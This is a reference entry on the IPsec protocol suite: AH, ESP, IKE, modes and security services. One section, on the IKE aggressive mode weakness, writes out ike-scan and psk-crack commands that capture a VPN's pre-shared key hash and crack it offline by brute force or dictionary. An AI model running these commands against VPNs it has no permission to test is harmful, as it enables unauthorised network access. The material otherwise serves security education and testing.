IPsec
IPsec (Internet Protocol Security) is a suite of protocols for securing IP communications by authenticating and encrypting each IP packet in a data stream. The base architecture is defined in RFC 4301.
Core components
IPsec provides security services at the IP layer through two traffic security protocols and associated key management:
- Authentication Header (AH) — Integrity and data origin authentication, with optional anti-replay. (Support downgraded to MAY in RFC 4301; ESP can provide equivalent services in most contexts.)
- Encapsulating Security Payload (ESP) — Integrity, data origin authentication, anti-replay, and confidentiality (encryption). Confidentiality without integrity is not recommended.
- Internet Key Exchange (IKE) — Automated key management and Security Association (SA) negotiation.
Both AH and ESP support transport mode (end-to-end between hosts) and tunnel mode (between security gateways, or host-to-gateway).
IKE aggressive mode vulnerability
In IKE aggressive mode, the authentication hash based on a pre-shared key (PSK) is transmitted as a response to the initial packet of a VPN client attempting to establish an IPsec tunnel (Hash_R). This hash is not encrypted — in main mode, the hash is encrypted.
This design flaw enables offline PSK cracking:
# Test if an IPsec VPN server uses IKE aggressive mode
sudo ike-scan -A $IP_ADDRESS
# Save the initial exchange for offline cracking
sudo ike-scan -A $IP_ADDRESS --id=$ID -P$KEY_FILE
# Brute-force all keys up to $KEY_LENGTH using $CHARSET
psk-crack --charset="$CHARSET" -b $KEY_LENGTH $KEY_FILE
# Dictionary attack
psk-crack -d $WORDLIST_FILE $KEY_FILEThe ike-scan tool identifies aggressive mode responders; psk-crack performs the offline brute-force or dictionary attack against the captured hash.
Security services
Per RFC 4301, IPsec offers:
- Access control
- Connectionless integrity
- Data origin authentication
- Detection and rejection of replays
- Confidentiality (via encryption)
- Limited traffic flow confidentiality